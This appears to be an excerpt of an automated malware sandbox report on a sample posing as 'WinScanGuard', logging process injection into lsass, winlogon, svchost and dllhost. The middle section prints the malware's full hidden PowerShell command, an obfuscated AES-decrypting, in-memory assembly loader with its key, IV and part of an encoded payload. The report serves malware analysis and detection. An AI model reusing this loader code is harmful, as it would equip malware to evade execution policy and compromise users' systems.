Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C0BD29A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 613F29A0
Source: C:\Windows\SysWOW64\dllhost.exe	Thread created: unknown EIP: 3202102
Source: C:\Windows\SysWOW64\dllhost.exe	Thread created: unknown EIP: 2252102
Source: C:\Windows\SysWOW64\dllhost.exe	Thread created: unknown EIP: 2402102

Writes to foreign memory regions

Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140001000	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140002000	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140003000	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Memory written: C:\Windows\System32\dllhost.exe base: E738D0C010	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 403000	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 405000	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 25D008	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140001000	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140002000	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140003000	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Memory written: C:\Windows\System32\dllhost.exe base: F3FC80B010	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 403000	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 405000	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 6E6008	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140001000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140002000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140003000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 5BD5B55010	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 400000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 401000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 402000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 403000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 405000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 646008	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140001000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140003000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140004000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140005000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140006000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 729C122010	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 400000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 401000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 403000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 404000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 405000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 41F000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: BD8008	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140001000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140003000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140004000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140005000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140006000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 4984A9010	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140001000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140003000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140004000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140005000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140006000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 4EA1005010	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 400000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 401000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 403000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 404000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 405000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 41F000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 400000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 401000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 403000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 404000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 405000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 41F000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140001000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 8D7008	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140003000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140004000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140001000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140005000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140006000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 7E9008	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140003000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140004000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140005000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140006000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: F980ACF010	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: DB297B010	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 400000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 401000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 403000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 404000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 405000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 41F000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 3195008	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 400000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 401000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 403000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 404000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 405000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 41F000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 31C1008	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140001000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140003000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140004000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140005000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140006000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 86602A3010	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 400000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 401000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 403000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 404000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 405000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 41F000	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 28A008	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 225DC610000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 202C0AB0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A6612D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 2BAAF1A0000
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe base: 4000000
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\WWvRtdUZZZirKKsEfpbPzrCIpjHkNCubfPaYwidQSHYMBQUEtxZljoDcrOQsfKtQSiG\PHZMpSLEzcFKaRUZszZmeOVApLd.exe base: 20E0000
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\WWvRtdUZZZirKKsEfpbPzrCIpjHkNCubfPaYwidQSHYMBQUEtxZljoDcrOQsfKtQSiG\PHZMpSLEzcFKaRUZszZmeOVApLd.exe base: 23C0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\$sxr-powershell.exe base: 28542880000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\$sxr-powershell.exe base: 28542880000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\$sxr-powershell.exe base: 28542880000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\$sxr-powershell.exe base: 28542880000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\$sxr-powershell.exe base: 28542880000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\$sxr-powershell.exe base: 28542880000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\$sxr-powershell.exe base: 28542880000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\$sxr-powershell.exe base: 28542880000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\$sxr-powershell.exe base: 28542880000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\$sxr-powershell.exe base: 28542880000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\$sxr-powershell.exe base: 28542880000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\SysWOW64\WerFault.exe base: 5A40000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\SysWOW64\WerFault.exe base: 5A40000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\SysWOW64\WerFault.exe base: 5A40000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\SysWOW64\WerFault.exe base: 5A40000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\SysWOW64\WerFault.exe base: 5A40000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\SysWOW64\WerFault.exe base: 5A40000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\SysWOW64\WerFault.exe base: 5A40000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\SysWOW64\WerFault.exe base: 5A40000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\SysWOW64\WerFault.exe base: 5A40000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\SysWOW64\WerFault.exe base: 5A40000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe base: 32E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 225DC670000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 202C0B10000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A661330000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 2BAAF1D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26A87990000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 225DC6F0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 202C0B70000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A661390000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 2BAAF200000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26A879C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 17953770000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2295D530000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 253067D0000
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe base: 2F90000
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\WWvRtdUZZZirKKsEfpbPzrCIpjHkNCubfPaYwidQSHYMBQUEtxZljoDcrOQsfKtQSiG\PHZMpSLEzcFKaRUZszZmeOVApLd.exe base: 2230000
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\WWvRtdUZZZirKKsEfpbPzrCIpjHkNCubfPaYwidQSHYMBQUEtxZljoDcrOQsfKtQSiG\PHZMpSLEzcFKaRUZszZmeOVApLd.exe base: 23E0000
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\WWvRtdUZZZirKKsEfpbPzrCIpjHkNCubfPaYwidQSHYMBQUEtxZljoDcrOQsfKtQSiG\PHZMpSLEzcFKaRUZszZmeOVApLd.exe base: 1450000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 225DC7B0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 202C0C30000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A661450000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 2BAB14E0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26A87F70000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 179537D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2295D590000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 25306E60000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1845B390000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1ADEBFD0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D559040000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 241A9E70000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CD73160000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2824E860000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 21B473C0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2086F9D0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 17183BC0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23FD3F70000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D2A4150000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 275BDF30000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1AAC0260000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 225DC750000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 202C0BD0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A6613F0000
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe base: 3200000
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\WWvRtdUZZZirKKsEfpbPzrCIpjHkNCubfPaYwidQSHYMBQUEtxZljoDcrOQsfKtQSiG\PHZMpSLEzcFKaRUZszZmeOVApLd.exe base: 2250000
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\WWvRtdUZZZirKKsEfpbPzrCIpjHkNCubfPaYwidQSHYMBQUEtxZljoDcrOQsfKtQSiG\PHZMpSLEzcFKaRUZszZmeOVApLd.exe base: 2400000
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\WWvRtdUZZZirKKsEfpbPzrCIpjHkNCubfPaYwidQSHYMBQUEtxZljoDcrOQsfKtQSiG\PHZMpSLEzcFKaRUZszZmeOVApLd.exe base: 1470000

Bypasses PowerShell execution policy

Source: C:\Windows\$sxr-cmd.exe

Process created: C:\Windows\$sxr-powershell.exe C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function ZXowG($YGfCS){ $HJBVM=[System.Security.Cryptography.Aes]::Create(); $HJBVM.Mode=[System.Security.Cryptography.CipherMode]::CBC; $HJBVM.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $HJBVM.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jR/ER/S13sxmxzdcDQ4cx+zLfjuBr/t1zOyGZlvi3Nc='); $HJBVM.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RiGEPzaIqqVKtP3vMKz42w=='); $SHNYR=$HJBVM.('rotpyrceDetaerC'[-1..-15] -join '')(); $ptoRz=$SHNYR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YGfCS, 0, $YGfCS.Length); $SHNYR.Dispose(); $HJBVM.Dispose(); $ptoRz;}function MiajR($YGfCS){ $VHZiJ=New-Object System.IO.MemoryStream(,$YGfCS); $MKYCr=New-Object System.IO.MemoryStream; $pphYy=New-Object System.IO.Compression.GZipStream($VHZiJ, [IO.Compression.CompressionMode]::Decompress); $pphYy.CopyTo($MKYCr); $pphYy.Dispose(); $VHZiJ.Dispose(); $MKYCr.Dispose(); $MKYCr.ToArray();}function DEttm($YGfCS,$ZtwIE){ $mZolj=[System.Reflection.Assembly]::Load([byte[]]$YGfCS); $lOFyP=$mZolj.EntryPoint; $lOFyP.Invoke($null, $ZtwIE);}$HJBVM1 = New-Object System.Security.Cryptography.AesManaged;$HJBVM1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$HJBVM1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$HJBVM1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jR/ER/S13sxmxzdcDQ4cx+zLfjuBr/t1zOyGZlvi3Nc=');$HJBVM1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RiGEPzaIqqVKtP3vMKz42w==');$GhtEl = $HJBVM1.('rotpyrceDetaerC'[-1..-15] -join '')();$tSRUF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/drqfgtKhdXyibTYP3tLyQ==');$tSRUF = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tSRUF, 0, $tSRUF.Length);$tSRUF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tSRUF);$tbgVF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uYhEUY/+HnwQeclFyB1FDUqtQym+nHVdwwfjEKKh6LU=');$tbgVF = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tbgVF, 0, $tbgVF.Length);$tbgVF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tbgVF);$mjWsq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('v2S4NwnXvXtvXwhesSwNIQ==');$mjWsq = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mjWsq, 0, $mjWsq.Length);$mjWsq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mjWsq);$iBFKh = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RZnS/OPKxZu99whpuaUC1mhVovuCskWdCRfz1FlzhkQ9viPcHXWbSXtn8ebOdAixZCvIKg7kNsNJQfjixS10DgPnP1RgMFsS0Ufgfy1HhpeBrScxYLrFwuGlVdIKxKsNCNlET01ZQTP7t1afzsZuiFRyhdaoNNd/a48fSObOV6s0Dg4uz6IT5eoHk560k0oKDQhofXeJn4REmUW/Qa+OFgHhvk0nKSZmZIWIfiCOl824A/iJhUAIvvnXISy3KfqXbk9SxrWiI48yb3R5eHDU2SFOOdwj4/P9sUdFWqjTGEiXdZH4kVSXjz0XVe4ZYpD+he6+N8ebMZVScb8HKUN/+DzmXUfDtfwWV5MarCY6ZdmO2yJ4s2sbOzZsPvxKUwPa7yfFsYHuzQ4rPk9Yysf5MqW

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Thread register set: target process: 4916	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Thread register set: target process: 1228	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Thread register set: target process: 1908	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Thread register set: target process: 5800	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Thread register set: target process: 2740	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Thread register set: target process: 6720	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Thread register set: target process: 6700	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Thread register set: target process: 6020	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Thread register set: target process: 5408	Jump to behavior

